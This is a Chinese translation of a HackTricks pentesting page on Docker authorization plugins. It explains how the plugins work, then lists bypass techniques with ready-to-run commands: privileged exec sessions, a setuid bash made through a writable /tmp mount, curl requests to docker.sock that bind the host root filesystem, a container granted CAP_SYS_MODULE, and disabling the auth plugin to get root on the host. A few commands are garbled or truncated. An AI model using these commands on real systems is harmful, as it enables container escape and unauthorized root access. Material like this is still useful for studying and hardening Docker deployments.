AuthZ& AuthN - Docker Access Authorization Plugin

支持 HackTricks

Docker 的开箱即用 授权 模型是 全有或全无。任何有权限访问 Docker 守护进程的用户都可以 运行任何 Docker 客户端 命令。使用 Docker 的引擎 API 联系守护进程的调用者也是如此。如果您需要 更严格的访问控制,可以创建 授权插件 并将其添加到 Docker 守护进程配置中。使用授权插件,Docker 管理员可以 配置细粒度访问 策略来管理对 Docker 守护进程的访问。

基本架构

Docker Auth 插件是 外部 插件,您可以使用它们来 允许/拒绝 请求 Docker 守护进程的 操作,具体取决于请求的 用户请求的操作

以下信息来自文档

当通过 CLI 或引擎 API 向 Docker 守护进程 发出 HTTP 请求 时,身份验证 子系统 会将请求传递给已安装的 身份验证 插件。请求包含用户(调用者)和命令上下文。插件 负责决定是否 允许拒绝 请求。

下面的序列图描绘了允许和拒绝的授权流程:

Authorization Allow flow
Authorization Deny flow

发送到插件的每个请求 包括经过身份验证的用户、HTTP 头和请求/响应体。只有 用户名使用的身份验证方法 被传递给插件。最重要的是, 会传递用户 凭据 或令牌。最后,并非所有请求/响应体都发送 到授权插件。只有那些 Content-Typetext/*application/json 的请求/响应体会被发送。

对于可能劫持 HTTP 连接的命令(HTTP Upgrade),如 exec,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,如 logsevents,仅 HTTP 请求会发送到授权插件。

在请求/响应处理过程中,一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程,插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询,插件必须提供管理员配置适当身份验证和安全策略的手段。

多个插件

您负责将 插件 注册为 Docker 守护进程 启动 的一部分。您可以安装 多个插件并将它们链接在一起。此链可以是有序的。每个对守护进程的请求按顺序通过链。只有当 所有插件都授予访问 资源时,访问才会被授予。

插件示例

Twistlock AuthZ Broker

插件 authz 允许您创建一个简单的 JSON 文件,插件将 读取 该文件以授权请求。因此,它为您提供了非常简单的机会来控制每个用户可以访问哪些 API 端点。

这是一个示例,允许 Alice 和 Bob 创建新容器:{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

在页面 route_parser.go 中,您可以找到请求的 URL 与操作之间的关系。在页面 types.go 中,您可以找到操作名称与操作之间的关系。

简单插件教程

您可以在这里找到一个 易于理解的插件,其中包含有关安装和调试的详细信息:https://github.com/carlospolop-forks/authobot

阅读 READMEplugin.go 代码以了解其工作原理。

Docker Auth 插件绕过

枚举访问

主要检查的内容是 允许哪些端点允许哪些 HostConfig 值

要执行此枚举,您可以 使用工具 https://github.com/carlospolop/docker_auth_profiler.

不允许的 run --privileged

最小权限

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

运行容器并获得特权会话

在这种情况下,系统管理员不允许用户挂载卷并使用 --privileged 标志运行容器或给容器提供任何额外的能力:

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

然而,用户可以在运行中的容器内创建一个 shell 并赋予其额外的权限

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

现在,用户可以使用任何之前讨论过的技术从容器中逃逸,并在主机内部提升权限

挂载可写文件夹

在这种情况下,系统管理员不允许用户使用 --privileged 标志运行容器或给予容器任何额外的能力,他只允许挂载/tmp文件夹:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

注意,您可能无法挂载文件夹 /tmp,但您可以挂载一个 不同的可写文件夹。您可以使用以下命令查找可写目录:find / -writable -type d 2>/dev/null

注意,并非所有 Linux 机器上的目录都支持 suid 位! 要检查哪些目录支持 suid 位,请运行 mount | grep -v "nosuid"。例如,通常 /dev/shm/run/proc/sys/fs/cgroup/var/lib/lxcfs 不支持 suid 位。

还要注意,如果您可以 挂载 /etc 或任何其他 包含配置文件 的文件夹,您可以在 docker 容器中以 root 身份更改它们,以便 在主机中滥用它们 并提升权限(可能修改 /etc/shadow)。

未检查的 API 端点

配置此插件的系统管理员的责任是控制每个用户可以执行的操作及其权限。因此,如果管理员对端点和属性采取 黑名单 方法,他可能会 忘记其中一些,这可能允许攻击者 提升权限

您可以在 https://docs.docker.com/engine/api/v1.40/# 检查 docker API。

未检查的 JSON 结构

在根目录中的绑定

当系统管理员配置 docker 防火墙时,他可能 忘记了一些重要参数,例如 API 中的 "Binds"。 在以下示例中,可以利用此错误配置创建并运行一个挂载主机根目录(/)的容器:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

注意在这个例子中,我们将 Binds 参数作为 JSON 的根级键使用,但在 API 中它出现在 HostConfig 键下

HostConfig 中的 Binds

按照与 根中的 Binds 相同的指示,向 Docker API 执行此 请求

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Mounts in root

按照与 Binds in root 相同的指示,向 Docker API 执行此 request

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Mounts in HostConfig

按照与 Binds in root 相同的指示,向 Docker API 执行此 请求

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

未检查的 JSON 属性

系统管理员在配置 docker 防火墙时,可能忘记了某个参数的重要属性,例如 API 中的 "Capabilities" 在 "HostConfig" 内。以下示例中,可以利用此错误配置创建并运行具有 SYS_MODULE 能力的容器:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

HostConfig 通常是包含 有趣的 权限 的关键,可以用来逃离容器。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并且可能允许你绕过限制。

禁用插件

如果 系统管理员 忘记 禁止 禁用 插件 的能力,你可以利用这一点来完全禁用它!

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

记得在提升权限后重新启用插件,否则docker服务的重启将无效

Auth Plugin Bypass 文章

支持 HackTricks

Last updated